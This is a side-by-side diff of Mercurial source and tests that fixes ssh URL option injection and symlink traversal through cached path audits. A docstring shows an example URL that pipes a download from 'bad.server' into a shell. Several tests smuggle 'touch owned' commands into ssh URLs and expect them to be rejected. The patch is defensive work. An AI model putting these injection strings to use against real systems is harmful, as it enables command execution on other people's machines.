self.origroot = path | self.origroot = path | ||||
# These auditor are not used by the vfs, | # These auditor are not used by the vfs, | ||||
# only used when writing this comment: basectx.match | # only used when writing this comment: basectx.match | ||||
self.auditor = pathutil.pathauditor(self.root, self._checknested) | self.auditor = pathutil.pathauditor(self.root, self._checknested) | ||||
self.nofsauditor = pathutil.pathauditor(self.root, self._checknested, | self.nofsauditor = pathutil.pathauditor(self.root, self._checknested, | ||||
realfs=False) | realfs=False, cached=True) | ||||
self.baseui = baseui | self.baseui = baseui | ||||
self.ui = baseui.copy() | self.ui = baseui.copy() | ||||
self.ui.copy = baseui.copy # prevent copying repo configuration | self.ui.copy = baseui.copy # prevent copying repo configuration | ||||
self.vfs = vfsmod.vfs(self.path) | self.vfs = vfsmod.vfs(self.path, cacheaudited=True) | ||||
if (self.ui.configbool('devel', 'all-warnings') or | if (self.ui.configbool('devel', 'all-warnings') or | ||||
self.ui.configbool('devel', 'check-locks')): | self.ui.configbool('devel', 'check-locks')): | ||||
self.vfs.audit = self._getvfsward(self.vfs.audit) | self.vfs.audit = self._getvfsward(self.vfs.audit) | ||||
# A list of callback to shape the phase if no data were found. | # A list of callback to shape the phase if no data were found. | ||||
# Callback are in the form: func(repo, roots) --> processed root. | # Callback are in the form: func(repo, roots) --> processed root. | ||||
# This list it to be filled by extension during repo setup | # This list it to be filled by extension during repo setup | ||||
self._phasedefaults = [] | self._phasedefaults = [] | ||||
try: | try: | ||||
raise | raise | ||||
if 'exp-sparse' in self.requirements and not sparse.enabled: | if 'exp-sparse' in self.requirements and not sparse.enabled: | ||||
raise error.RepoError(_('repository is using sparse feature but ' | raise error.RepoError(_('repository is using sparse feature but ' | ||||
'sparse is not enabled; enable the ' | 'sparse is not enabled; enable the ' | ||||
'"sparse" extensions to access')) | '"sparse" extensions to access')) | ||||
self.store = store.store( | self.store = store.store( | ||||
self.requirements, self.sharedpath, vfsmod.vfs) | self.requirements, self.sharedpath, | ||||
lambda base: vfsmod.vfs(base, cacheaudited=True)) | |||||
self.spath = self.store.path | self.spath = self.store.path | ||||
self.svfs = self.store.vfs | self.svfs = self.store.vfs | ||||
self.sjoin = self.store.join | self.sjoin = self.store.join | ||||
self.vfs.createmode = self.store.createmode | self.vfs.createmode = self.store.createmode | ||||
self.cachevfs = vfsmod.vfs(cachepath) | self.cachevfs = vfsmod.vfs(cachepath, cacheaudited=True) | ||||
self.cachevfs.createmode = self.store.createmode | self.cachevfs.createmode = self.store.createmode | ||||
if (self.ui.configbool('devel', 'all-warnings') or | if (self.ui.configbool('devel', 'all-warnings') or | ||||
self.ui.configbool('devel', 'check-locks')): | self.ui.configbool('devel', 'check-locks')): | ||||
if util.safehasattr(self.svfs, 'vfs'): # this is filtervfs | if util.safehasattr(self.svfs, 'vfs'): # this is filtervfs | ||||
self.svfs.vfs.audit = self._getsvfsward(self.svfs.vfs.audit) | self.svfs.vfs.audit = self._getsvfsward(self.svfs.vfs.audit) | ||||
else: # standard vfs | else: # standard vfs | ||||
self.svfs.audit = self._getsvfsward(self.svfs.audit) | self.svfs.audit = self._getsvfsward(self.svfs.audit) | ||||
self._applyopenerreqs() | self._applyopenerreqs() |
More check are also done about the file system states: | More check are also done about the file system states: | ||||
- traverses a symlink (e.g. a/symlink_here/b) | - traverses a symlink (e.g. a/symlink_here/b) | ||||
- inside a nested repository (a callback can be used to approve | - inside a nested repository (a callback can be used to approve | ||||
some nested repositories, e.g., subrepositories) | some nested repositories, e.g., subrepositories) | ||||
The file system checks are only done when 'realfs' is set to True (the | The file system checks are only done when 'realfs' is set to True (the | ||||
default). They should be disable then we are auditing path for operation on | default). They should be disable then we are auditing path for operation on | ||||
stored history. | stored history. | ||||
If 'cached' is set to True, audited paths and sub-directories are cached. | |||||
Be careful to not keep the cache of unmanaged directories for long because | |||||
audited paths may be replaced with symlinks. | |||||
''' | ''' | ||||
def __init__(self, root, callback=None, realfs=True): | def __init__(self, root, callback=None, realfs=True, cached=False): | ||||
self.audited = set() | self.audited = set() | ||||
self.auditeddir = set() | self.auditeddir = set() | ||||
self.root = root | self.root = root | ||||
self._realfs = realfs | self._realfs = realfs | ||||
self._cached = cached | |||||
self.callback = callback | self.callback = callback | ||||
if os.path.lexists(root) and not util.fscasesensitive(root): | if os.path.lexists(root) and not util.fscasesensitive(root): | ||||
self.normcase = util.normcase | self.normcase = util.normcase | ||||
else: | else: | ||||
self.normcase = lambda x: x | self.normcase = lambda x: x | ||||
def __call__(self, path, mode=None): | def __call__(self, path, mode=None): | ||||
'''Check the relative path. | '''Check the relative path. | ||||
prefix = pycompat.ossep.join(parts[:i + 1]) | prefix = pycompat.ossep.join(parts[:i + 1]) | ||||
normprefix = pycompat.ossep.join(normparts[:i + 1]) | normprefix = pycompat.ossep.join(normparts[:i + 1]) | ||||
if normprefix in self.auditeddir: | if normprefix in self.auditeddir: | ||||
continue | continue | ||||
if self._realfs: | if self._realfs: | ||||
self._checkfs(prefix, path) | self._checkfs(prefix, path) | ||||
prefixes.append(normprefix) | prefixes.append(normprefix) | ||||
if self._cached: | |||||
self.audited.add(normpath) | self.audited.add(normpath) | ||||
# only add prefixes to the cache after checking everything: we don't | # only add prefixes to the cache after checking everything: we don't | ||||
# want to add "foo/bar/baz" before checking if there's a "foo/.hg" | # want to add "foo/bar/baz" before checking if there's a "foo/.hg" | ||||
self.auditeddir.update(prefixes) | self.auditeddir.update(prefixes) | ||||
def _checkfs(self, prefix, path): | def _checkfs(self, prefix, path): | ||||
"""raise exception if a file system backed check fails""" | """raise exception if a file system backed check fails""" | ||||
curpath = os.path.join(self.root, prefix) | curpath = os.path.join(self.root, prefix) | ||||
try: | try: | ||||
st = os.lstat(curpath) | st = os.lstat(curpath) | ||||
except OSError as err: | except OSError as err: | ||||
# EINVAL can be raised as invalid path syntax under win32. | # EINVAL can be raised as invalid path syntax under win32. |
import stat | import stat | ||||
import sys | import sys | ||||
import tempfile | import tempfile | ||||
import unicodedata | import unicodedata | ||||
from .i18n import _ | from .i18n import _ | ||||
from . import ( | from . import ( | ||||
encoding, | encoding, | ||||
error, | |||||
pycompat, | pycompat, | ||||
) | ) | ||||
posixfile = open | posixfile = open | ||||
normpath = os.path.normpath | normpath = os.path.normpath | ||||
samestat = os.path.samestat | samestat = os.path.samestat | ||||
try: | try: | ||||
oslink = os.link | oslink = os.link | ||||
else: | else: | ||||
if pf.startswith("'") and pf.endswith("'") and " " in pf: | if pf.startswith("'") and pf.endswith("'") and " " in pf: | ||||
pf = pf[1:-1] # Remove the quotes | pf = pf[1:-1] # Remove the quotes | ||||
return pf | return pf | ||||
def sshargs(sshcmd, host, user, port): | def sshargs(sshcmd, host, user, port): | ||||
'''Build argument list for ssh''' | '''Build argument list for ssh''' | ||||
args = user and ("%s@%s" % (user, host)) or host | args = user and ("%s@%s" % (user, host)) or host | ||||
return port and ("%s -p %s" % (args, port)) or args | if '-' in args[:1]: | ||||
raise error.Abort( | |||||
_('illegal ssh hostname or username starting with -: %s') % args) | |||||
args = shellquote(args) | |||||
if port: | |||||
args = '-p %s %s' % (shellquote(port), args) | |||||
return args | |||||
def isexec(f): | def isexec(f): | ||||
"""check whether a file is executable""" | """check whether a file is executable""" | ||||
return (os.lstat(f).st_mode & 0o100 != 0) | return (os.lstat(f).st_mode & 0o100 != 0) | ||||
def setflags(f, l, x): | def setflags(f, l, x): | ||||
st = os.lstat(f) | st = os.lstat(f) | ||||
s = st.st_mode | s = st.st_mode |
def _interestingfiles(repo, matcher): | def _interestingfiles(repo, matcher): | ||||
'''Walk dirstate with matcher, looking for files that addremove would care | '''Walk dirstate with matcher, looking for files that addremove would care | ||||
about. | about. | ||||
This is different from dirstate.status because it doesn't care about | This is different from dirstate.status because it doesn't care about | ||||
whether files are modified or clean.''' | whether files are modified or clean.''' | ||||
added, unknown, deleted, removed, forgotten = [], [], [], [], [] | added, unknown, deleted, removed, forgotten = [], [], [], [], [] | ||||
audit_path = pathutil.pathauditor(repo.root) | audit_path = pathutil.pathauditor(repo.root, cached=True) | ||||
ctx = repo[None] | ctx = repo[None] | ||||
dirstate = repo.dirstate | dirstate = repo.dirstate | ||||
walkresults = dirstate.walk(matcher, sorted(ctx.substate), True, False, | walkresults = dirstate.walk(matcher, sorted(ctx.substate), True, False, | ||||
full=False) | full=False) | ||||
for abs, st in walkresults.iteritems(): | for abs, st in walkresults.iteritems(): | ||||
dstate = dirstate[abs] | dstate = dirstate[abs] | ||||
if dstate == '?' and audit_path.check(abs): | if dstate == '?' and audit_path.check(abs): |
self._url = path | self._url = path | ||||
self.ui = ui | self.ui = ui | ||||
self.pipeo = self.pipei = self.pipee = None | self.pipeo = self.pipei = self.pipee = None | ||||
u = util.url(path, parsequery=False, parsefragment=False) | u = util.url(path, parsequery=False, parsefragment=False) | ||||
if u.scheme != 'ssh' or not u.host or u.path is None: | if u.scheme != 'ssh' or not u.host or u.path is None: | ||||
self._abort(error.RepoError(_("couldn't parse location %s") % path)) | self._abort(error.RepoError(_("couldn't parse location %s") % path)) | ||||
util.checksafessh(path) | |||||
self.user = u.user | self.user = u.user | ||||
if u.passwd is not None: | if u.passwd is not None: | ||||
self._abort(error.RepoError(_("password in URL not supported"))) | self._abort(error.RepoError(_("password in URL not supported"))) | ||||
self.host = u.host | self.host = u.host | ||||
self.port = u.port | self.port = u.port | ||||
self.path = u.path or "." | self.path = u.path or "." | ||||
sshcmd = self.ui.config("ui", "ssh") | sshcmd = self.ui.config("ui", "ssh") | ||||
remotecmd = self.ui.config("ui", "remotecmd") | remotecmd = self.ui.config("ui", "remotecmd") | ||||
args = util.sshargs(sshcmd, | args = util.sshargs(sshcmd, self.host, self.user, self.port) | ||||
_serverquote(self.host), | |||||
_serverquote(self.user), | |||||
_serverquote(self.port)) | |||||
if create: | if create: | ||||
cmd = '%s %s %s' % (sshcmd, args, | cmd = '%s %s %s' % (sshcmd, args, | ||||
util.shellquote("%s init %s" % | util.shellquote("%s init %s" % | ||||
(_serverquote(remotecmd), _serverquote(self.path)))) | (_serverquote(remotecmd), _serverquote(self.path)))) | ||||
ui.debug('running %s\n' % cmd) | ui.debug('running %s\n' % cmd) | ||||
res = ui.system(cmd, blockedtag='sshpeer') | res = ui.system(cmd, blockedtag='sshpeer') | ||||
if res != 0: | if res != 0: |
if overwrite: | if overwrite: | ||||
self._svncommand(['revert', '--recursive']) | self._svncommand(['revert', '--recursive']) | ||||
args = ['checkout'] | args = ['checkout'] | ||||
if self._svnversion >= (1, 5): | if self._svnversion >= (1, 5): | ||||
args.append('--force') | args.append('--force') | ||||
# The revision must be specified at the end of the URL to properly | # The revision must be specified at the end of the URL to properly | ||||
# update to a directory which has since been deleted and recreated. | # update to a directory which has since been deleted and recreated. | ||||
args.append('%s@%s' % (state[0], state[1])) | args.append('%s@%s' % (state[0], state[1])) | ||||
# SEC: check that the ssh url is safe | |||||
util.checksafessh(state[0]) | |||||
status, err = self._svncommand(args, failok=True) | status, err = self._svncommand(args, failok=True) | ||||
_sanitize(self.ui, self.wvfs, '.svn') | _sanitize(self.ui, self.wvfs, '.svn') | ||||
if not re.search('Checked out revision [0-9]+.', status): | if not re.search('Checked out revision [0-9]+.', status): | ||||
if ('is already a working copy for a different URL' in err | if ('is already a working copy for a different URL' in err | ||||
and (self._wcchanged()[:2] == (False, False))): | and (self._wcchanged()[:2] == (False, False))): | ||||
# obstructed but clean working copy, so just blow it away. | # obstructed but clean working copy, so just blow it away. | ||||
self.remove() | self.remove() | ||||
self.get(state, overwrite=False) | self.get(state, overwrite=False) | ||||
colon = source.find(':') | colon = source.find(':') | ||||
if colon != -1 and '/' not in source[:colon]: | if colon != -1 and '/' not in source[:colon]: | ||||
return source | return source | ||||
self._subsource = source | self._subsource = source | ||||
return _abssource(self) | return _abssource(self) | ||||
def _fetch(self, source, revision): | def _fetch(self, source, revision): | ||||
if self._gitmissing(): | if self._gitmissing(): | ||||
# SEC: check for safe ssh url | |||||
util.checksafessh(source) | |||||
source = self._abssource(source) | source = self._abssource(source) | ||||
self.ui.status(_('cloning subrepo %s from %s\n') % | self.ui.status(_('cloning subrepo %s from %s\n') % | ||||
(self._relpath, source)) | (self._relpath, source)) | ||||
self._gitnodir(['clone', source, self._abspath]) | self._gitnodir(['clone', source, self._abspath]) | ||||
if self._githavelocally(revision): | if self._githavelocally(revision): | ||||
return | return | ||||
self.ui.status(_('pulling subrepo %s from %s\n') % | self.ui.status(_('pulling subrepo %s from %s\n') % | ||||
(self._relpath, self._gitremote('origin'))) | (self._relpath, self._gitremote('origin'))) |
return bool(url(path).scheme) | return bool(url(path).scheme) | ||||
def hasdriveletter(path): | def hasdriveletter(path): | ||||
return path and path[1:2] == ':' and path[0:1].isalpha() | return path and path[1:2] == ':' and path[0:1].isalpha() | ||||
def urllocalpath(path): | def urllocalpath(path): | ||||
return url(path, parsequery=False, parsefragment=False).localpath() | return url(path, parsequery=False, parsefragment=False).localpath() | ||||
def checksafessh(path): | |||||
"""check if a path / url is a potentially unsafe ssh exploit (SEC) | |||||
This is a sanity check for ssh urls. ssh will parse the first item as | |||||
an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. | |||||
Let's prevent these potentially exploited urls entirely and warn the | |||||
user. | |||||
Raises an error.Abort when the url is unsafe. | |||||
""" | |||||
path = urlreq.unquote(path) | |||||
if path.startswith('ssh://-') or path.startswith('svn+ssh://-'): | |||||
raise error.Abort(_('potentially unsafe url: %r') % | |||||
(path,)) | |||||
def hidepassword(u): | def hidepassword(u): | ||||
'''hide user credential in a url string''' | '''hide user credential in a url string''' | ||||
u = url(u) | u = url(u) | ||||
if u.passwd: | if u.passwd: | ||||
u.passwd = '***' | u.passwd = '***' | ||||
return bytes(u) | return bytes(u) | ||||
def removeauth(u): | def removeauth(u): |
finally: | finally: | ||||
vfs._backgroundfilecloser = None | vfs._backgroundfilecloser = None | ||||
class vfs(abstractvfs): | class vfs(abstractvfs): | ||||
'''Operate files relative to a base directory | '''Operate files relative to a base directory | ||||
This class is used to hide the details of COW semantics and | This class is used to hide the details of COW semantics and | ||||
remote file access from higher level code. | remote file access from higher level code. | ||||
'cacheaudited' should be enabled only if (a) vfs object is short-lived, or | |||||
(b) the base directory is managed by hg and considered sort-of append-only. | |||||
See pathutil.pathauditor() for details. | |||||
''' | ''' | ||||
def __init__(self, base, audit=True, expandpath=False, realpath=False): | def __init__(self, base, audit=True, cacheaudited=False, expandpath=False, | ||||
realpath=False): | |||||
if expandpath: | if expandpath: | ||||
base = util.expandpath(base) | base = util.expandpath(base) | ||||
if realpath: | if realpath: | ||||
base = os.path.realpath(base) | base = os.path.realpath(base) | ||||
self.base = base | self.base = base | ||||
self._audit = audit | self._audit = audit | ||||
if audit: | if audit: | ||||
self.audit = pathutil.pathauditor(self.base) | self.audit = pathutil.pathauditor(self.base, cached=cacheaudited) | ||||
else: | else: | ||||
self.audit = (lambda path, mode=None: True) | self.audit = (lambda path, mode=None: True) | ||||
self.createmode = None | self.createmode = None | ||||
self._trustnlink = None | self._trustnlink = None | ||||
@util.propertycache | @util.propertycache | ||||
def _cansymlink(self): | def _cansymlink(self): | ||||
return util.checklink(self.base) | return util.checklink(self.base) |
import os | import os | ||||
import re | import re | ||||
import stat | import stat | ||||
import sys | import sys | ||||
from .i18n import _ | from .i18n import _ | ||||
from . import ( | from . import ( | ||||
encoding, | encoding, | ||||
error, | |||||
policy, | policy, | ||||
pycompat, | pycompat, | ||||
win32, | win32, | ||||
) | ) | ||||
try: | try: | ||||
import _winreg as winreg | import _winreg as winreg | ||||
winreg.CloseKey | winreg.CloseKey | ||||
if pf[0] == '`': | if pf[0] == '`': | ||||
pf = pf[1:-1] # Remove the quotes | pf = pf[1:-1] # Remove the quotes | ||||
return pf | return pf | ||||
def sshargs(sshcmd, host, user, port): | def sshargs(sshcmd, host, user, port): | ||||
'''Build argument list for ssh or Plink''' | '''Build argument list for ssh or Plink''' | ||||
pflag = 'plink' in sshcmd.lower() and '-P' or '-p' | pflag = 'plink' in sshcmd.lower() and '-P' or '-p' | ||||
args = user and ("%s@%s" % (user, host)) or host | args = user and ("%s@%s" % (user, host)) or host | ||||
return port and ("%s %s %s" % (args, pflag, port)) or args | if args.startswith('-') or args.startswith('/'): | ||||
raise error.Abort( | |||||
_('illegal ssh hostname or username starting with - or /: %s') % | |||||
args) | |||||
args = shellquote(args) | |||||
if port: | |||||
args = '%s %s %s' % (pflag, shellquote(port), args) | |||||
return args | |||||
def setflags(f, l, x): | def setflags(f, l, x): | ||||
pass | pass | ||||
def copymode(src, dst, mode=None): | def copymode(src, dst, mode=None): | ||||
pass | pass | ||||
def checkexec(path): | def checkexec(path): |
$ hg manifest -r4 | $ hg manifest -r4 | ||||
/tmp/test | /tmp/test | ||||
$ hg update -Cr4 | $ hg update -Cr4 | ||||
abort: path contains illegal component: /tmp/test (glob) | abort: path contains illegal component: /tmp/test (glob) | ||||
[255] | [255] | ||||
$ cd .. | $ cd .. | ||||
Test symlink traversal on merge: | |||||
-------------------------------- | |||||
#if symlink | |||||
set up symlink hell | |||||
$ mkdir merge-symlink-out | |||||
$ hg init merge-symlink | |||||
$ cd merge-symlink | |||||
$ touch base | |||||
$ hg commit -qAm base | |||||
$ ln -s ../merge-symlink-out a | |||||
$ hg commit -qAm 'symlink a -> ../merge-symlink-out' | |||||
$ hg up -q 0 | |||||
$ mkdir a | |||||
$ touch a/poisoned | |||||
$ hg commit -qAm 'file a/poisoned' | |||||
$ hg log -G -T '{rev}: {desc}\n' | |||||
@ 2: file a/poisoned | |||||
| | |||||
| o 1: symlink a -> ../merge-symlink-out | |||||
|/ | |||||
o 0: base | |||||
try trivial merge | |||||
$ hg up -qC 1 | |||||
$ hg merge 2 | |||||
abort: path 'a/poisoned' traverses symbolic link 'a' | |||||
[255] | |||||
try rebase onto other revision: cache of audited paths should be discarded, | |||||
and the rebase should fail (issue5628) | |||||
$ hg up -qC 2 | |||||
$ hg rebase -s 2 -d 1 --config extensions.rebase= | |||||
rebasing 2:e73c21d6b244 "file a/poisoned" (tip) | |||||
abort: path 'a/poisoned' traverses symbolic link 'a' | |||||
[255] | |||||
$ ls ../merge-symlink-out | |||||
$ cd .. | |||||
Test symlink traversal on update: | |||||
--------------------------------- | |||||
$ mkdir update-symlink-out | |||||
$ hg init update-symlink | |||||
$ cd update-symlink | |||||
$ ln -s ../update-symlink-out a | |||||
$ hg commit -qAm 'symlink a -> ../update-symlink-out' | |||||
$ hg rm a | |||||
$ mkdir a && touch a/b | |||||
$ hg ci -qAm 'file a/b' a/b | |||||
$ hg up -qC 0 | |||||
$ hg rm a | |||||
$ mkdir a && touch a/c | |||||
$ hg ci -qAm 'rm a, file a/c' | |||||
$ hg log -G -T '{rev}: {desc}\n' | |||||
@ 2: rm a, file a/c | |||||
| | |||||
| o 1: file a/b | |||||
|/ | |||||
o 0: symlink a -> ../update-symlink-out | |||||
try linear update where symlink already exists: | |||||
$ hg up -qC 0 | |||||
$ hg up 1 | |||||
abort: path 'a/b' traverses symbolic link 'a' | |||||
[255] | |||||
try linear update including symlinked directory and its content: paths are | |||||
audited first by calculateupdates(), where no symlink is created so both | |||||
'a' and 'a/b' are taken as good paths. still applyupdates() should fail. | |||||
$ hg up -qC null | |||||
$ hg up 1 | |||||
abort: path 'a/b' traverses symbolic link 'a' | |||||
[255] | |||||
$ ls ../update-symlink-out | |||||
try branch update replacing directory with symlink, and its content: the | |||||
path 'a' is audited as a directory first, which should be audited again as | |||||
a symlink. | |||||
$ rm -f a | |||||
$ hg up -qC 2 | |||||
$ hg up 1 | |||||
abort: path 'a/b' traverses symbolic link 'a' | |||||
[255] | |||||
$ ls ../update-symlink-out | |||||
$ cd .. | |||||
#endif |
$ (grep 'existing pooled' race1.log > /dev/null && cat race1.log || cat race2.log) | grep -v lock | $ (grep 'existing pooled' race1.log > /dev/null && cat race1.log || cat race2.log) | grep -v lock | ||||
(sharing from existing pooled repository b5f04eac9d8f7a6a9fcb070243cccea7dc5ea0c1) | (sharing from existing pooled repository b5f04eac9d8f7a6a9fcb070243cccea7dc5ea0c1) | ||||
searching for changes | searching for changes | ||||
no changes found | no changes found | ||||
adding remote bookmark bookA | adding remote bookmark bookA | ||||
updating working directory | updating working directory | ||||
1 files updated, 0 files merged, 0 files removed, 0 files unresolved | 1 files updated, 0 files merged, 0 files removed, 0 files unresolved | ||||
SEC: check for unsafe ssh url | |||||
$ cat >> $HGRCPATH << EOF | |||||
> [ui] | |||||
> ssh = sh -c "read l; read l; read l" | |||||
> EOF | |||||
$ hg clone 'ssh://-oProxyCommand=touch${IFS}owned/path' | |||||
abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' | |||||
[255] | |||||
$ hg clone 'ssh://%2DoProxyCommand=touch${IFS}owned/path' | |||||
abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' | |||||
[255] | |||||
$ hg clone 'ssh://fakehost|touch%20owned/path' | |||||
abort: no suitable response from remote hg! | |||||
[255] | |||||
$ hg clone 'ssh://fakehost%7Ctouch%20owned/path' | |||||
abort: no suitable response from remote hg! | |||||
[255] | |||||
$ hg clone 'ssh://-oProxyCommand=touch owned%20foo@example.com/nonexistent/path' | |||||
abort: potentially unsafe url: 'ssh://-oProxyCommand=touch owned foo@example.com/nonexistent/path' | |||||
[255] | |||||
#if windows | |||||
$ hg clone "ssh://%26touch%20owned%20/" --debug | |||||
running sh -c "read l; read l; read l" "&touch owned " "hg -R . serve --stdio" | |||||
sending hello command | |||||
sending between command | |||||
abort: no suitable response from remote hg! | |||||
[255] | |||||
$ hg clone "ssh://example.com:%26touch%20owned%20/" --debug | |||||
running sh -c "read l; read l; read l" -p "&touch owned " example.com "hg -R . serve --stdio" | |||||
sending hello command | |||||
sending between command | |||||
abort: no suitable response from remote hg! | |||||
[255] | |||||
#else | |||||
$ hg clone "ssh://%3btouch%20owned%20/" --debug | |||||
running sh -c "read l; read l; read l" ';touch owned ' 'hg -R . serve --stdio' | |||||
sending hello command | |||||
sending between command | |||||
abort: no suitable response from remote hg! | |||||
[255] | |||||
$ hg clone "ssh://example.com:%3btouch%20owned%20/" --debug | |||||
running sh -c "read l; read l; read l" -p ';touch owned ' example.com 'hg -R . serve --stdio' | |||||
sending hello command | |||||
sending between command | |||||
abort: no suitable response from remote hg! | |||||
[255] | |||||
#endif | |||||
$ hg clone "ssh://v-alid.example.com/" --debug | |||||
running sh -c "read l; read l; read l" v-alid\.example\.com ['"]hg -R \. serve --stdio['"] (re) | |||||
sending hello command | |||||
sending between command | |||||
abort: no suitable response from remote hg! | |||||
[255] | |||||
We should not have created a file named owned - if it exists, the | |||||
attack succeeded. | |||||
$ if test -f owned; then echo 'you got owned'; fi |
*** runcommand commit --config failafterfinalize.fail=true -mfoo foo | *** runcommand commit --config failafterfinalize.fail=true -mfoo foo | ||||
transaction abort! | transaction abort! | ||||
rollback completed | rollback completed | ||||
abort: fail after finalization | abort: fail after finalization | ||||
[255] | [255] | ||||
*** runcommand log | *** runcommand log | ||||
0 bar (bar) | 0 bar (bar) | ||||
*** runcommand verify -q | *** runcommand verify -q | ||||
$ cd .. | |||||
Test symlink traversal over cached audited paths: | |||||
------------------------------------------------- | |||||
#if symlink | |||||
set up symlink hell | |||||
$ mkdir merge-symlink-out | |||||
$ hg init merge-symlink | |||||
$ cd merge-symlink | |||||
$ touch base | |||||
$ hg commit -qAm base | |||||
$ ln -s ../merge-symlink-out a | |||||
$ hg commit -qAm 'symlink a -> ../merge-symlink-out' | |||||
$ hg up -q 0 | |||||
$ mkdir a | |||||
$ touch a/poisoned | |||||
$ hg commit -qAm 'file a/poisoned' | |||||
$ hg log -G -T '{rev}: {desc}\n' | |||||
@ 2: file a/poisoned | |||||
| | |||||
| o 1: symlink a -> ../merge-symlink-out | |||||
|/ | |||||
o 0: base | |||||
try trivial merge after update: cache of audited paths should be discarded, | |||||
and the merge should fail (issue5628) | |||||
$ hg up -q null | |||||
>>> from hgclient import readchannel, runcommand, check | |||||
>>> @check | |||||
... def merge(server): | |||||
... readchannel(server) | |||||
... # audit a/poisoned as a good path | |||||
... runcommand(server, ['up', '-qC', '2']) | |||||
... runcommand(server, ['up', '-qC', '1']) | |||||
... # here a is a symlink, so a/poisoned is bad | |||||
... runcommand(server, ['merge', '2']) | |||||
*** runcommand up -qC 2 | |||||
*** runcommand up -qC 1 | |||||
*** runcommand merge 2 | |||||
abort: path 'a/poisoned' traverses symbolic link 'a' | |||||
[255] | |||||
$ ls ../merge-symlink-out | |||||
cache of repo.auditor should be discarded, so matcher would never traverse | |||||
symlinks: | |||||
$ hg up -qC 0 | |||||
$ touch ../merge-symlink-out/poisoned | |||||
>>> from hgclient import readchannel, runcommand, check | |||||
>>> @check | |||||
... def files(server): | |||||
... readchannel(server) | |||||
... runcommand(server, ['up', '-qC', '2']) | |||||
... # audit a/poisoned as a good path | |||||
... runcommand(server, ['files', 'a/poisoned']) | |||||
... runcommand(server, ['up', '-qC', '0']) | |||||
... runcommand(server, ['up', '-qC', '1']) | |||||
... # here 'a' is a symlink, so a/poisoned should be warned | |||||
... runcommand(server, ['files', 'a/poisoned']) | |||||
*** runcommand up -qC 2 | |||||
*** runcommand files a/poisoned | |||||
a/poisoned | |||||
*** runcommand up -qC 0 | |||||
*** runcommand up -qC 1 | |||||
*** runcommand files a/poisoned | |||||
abort: path 'a/poisoned' traverses symbolic link 'a' | |||||
[255] | |||||
$ cd .. | |||||
#endif |
$ URL=`$PYTHON -c "import os; print 'file://foobar' + ('/' + os.getcwd().replace(os.sep, '/')).replace('//', '/') + '/../test'"` | $ URL=`$PYTHON -c "import os; print 'file://foobar' + ('/' + os.getcwd().replace(os.sep, '/')).replace('//', '/') + '/../test'"` | ||||
$ hg pull -q "$URL" | $ hg pull -q "$URL" | ||||
abort: file:// URLs can only refer to localhost | abort: file:// URLs can only refer to localhost | ||||
[255] | [255] | ||||
$ URL=`$PYTHON -c "import os; print 'file://localhost' + ('/' + os.getcwd().replace(os.sep, '/')).replace('//', '/') + '/../test'"` | $ URL=`$PYTHON -c "import os; print 'file://localhost' + ('/' + os.getcwd().replace(os.sep, '/')).replace('//', '/') + '/../test'"` | ||||
$ hg pull -q "$URL" | $ hg pull -q "$URL" | ||||
SEC: check for unsafe ssh url | |||||
$ cat >> $HGRCPATH << EOF | |||||
> [ui] | |||||
> ssh = sh -c "read l; read l; read l" | |||||
> EOF | |||||
$ hg pull 'ssh://-oProxyCommand=touch${IFS}owned/path' | |||||
pulling from ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path | |||||
abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' | |||||
[255] | |||||
$ hg pull 'ssh://%2DoProxyCommand=touch${IFS}owned/path' | |||||
pulling from ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path | |||||
abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' | |||||
[255] | |||||
$ hg pull 'ssh://fakehost|touch${IFS}owned/path' | |||||
pulling from ssh://fakehost%7Ctouch%24%7BIFS%7Downed/path | |||||
abort: no suitable response from remote hg! | |||||
[255] | |||||
$ hg pull 'ssh://fakehost%7Ctouch%20owned/path' | |||||
pulling from ssh://fakehost%7Ctouch%20owned/path | |||||
abort: no suitable response from remote hg! | |||||
[255] | |||||
$ [ ! -f owned ] || echo 'you got owned' | |||||
$ cd .. | $ cd .. |
added 1 changesets with 1 changes to 1 files | added 1 changesets with 1 changes to 1 files | ||||
$ hg -R test-revflag push -r 0 test-bare-push-unrelated-concurrency --config server.concurrent-push-mode=check-related | $ hg -R test-revflag push -r 0 test-bare-push-unrelated-concurrency --config server.concurrent-push-mode=check-related | ||||
pushing to test-bare-push-unrelated-concurrency | pushing to test-bare-push-unrelated-concurrency | ||||
searching for changes | searching for changes | ||||
adding changesets | adding changesets | ||||
adding manifests | adding manifests | ||||
adding file changes | adding file changes | ||||
added 1 changesets with 1 changes to 1 files | added 1 changesets with 1 changes to 1 files | ||||
SEC: check for unsafe ssh url | |||||
$ cat >> $HGRCPATH << EOF | |||||
> [ui] | |||||
> ssh = sh -c "read l; read l; read l" | |||||
> EOF | |||||
$ hg -R test-revflag push 'ssh://-oProxyCommand=touch${IFS}owned/path' | |||||
pushing to ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path | |||||
abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' | |||||
[255] | |||||
$ hg -R test-revflag push 'ssh://%2DoProxyCommand=touch${IFS}owned/path' | |||||
pushing to ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path | |||||
abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' | |||||
[255] | |||||
$ hg -R test-revflag push 'ssh://fakehost|touch${IFS}owned/path' | |||||
pushing to ssh://fakehost%7Ctouch%24%7BIFS%7Downed/path | |||||
abort: no suitable response from remote hg! | |||||
[255] | |||||
$ hg -R test-revflag push 'ssh://fakehost%7Ctouch%20owned/path' | |||||
pushing to ssh://fakehost%7Ctouch%20owned/path | |||||
abort: no suitable response from remote hg! | |||||
[255] | |||||
$ [ ! -f owned ] || echo 'you got owned' |
remote: added 1 changesets with 1 changes to 1 files | remote: added 1 changesets with 1 changes to 1 files | ||||
remote: KABOOM | remote: KABOOM | ||||
local stdout | local stdout | ||||
debug output | debug output | ||||
$ hg pull --debug ssh://user@dummy/remote | $ hg pull --debug ssh://user@dummy/remote | ||||
pulling from ssh://user@dummy/remote | pulling from ssh://user@dummy/remote | ||||
running .* ".*/dummyssh" user@dummy ('|")hg -R remote serve --stdio('|") (re) | running .* ".*/dummyssh" ['"]user@dummy['"] ('|")hg -R remote serve --stdio('|") (re) | ||||
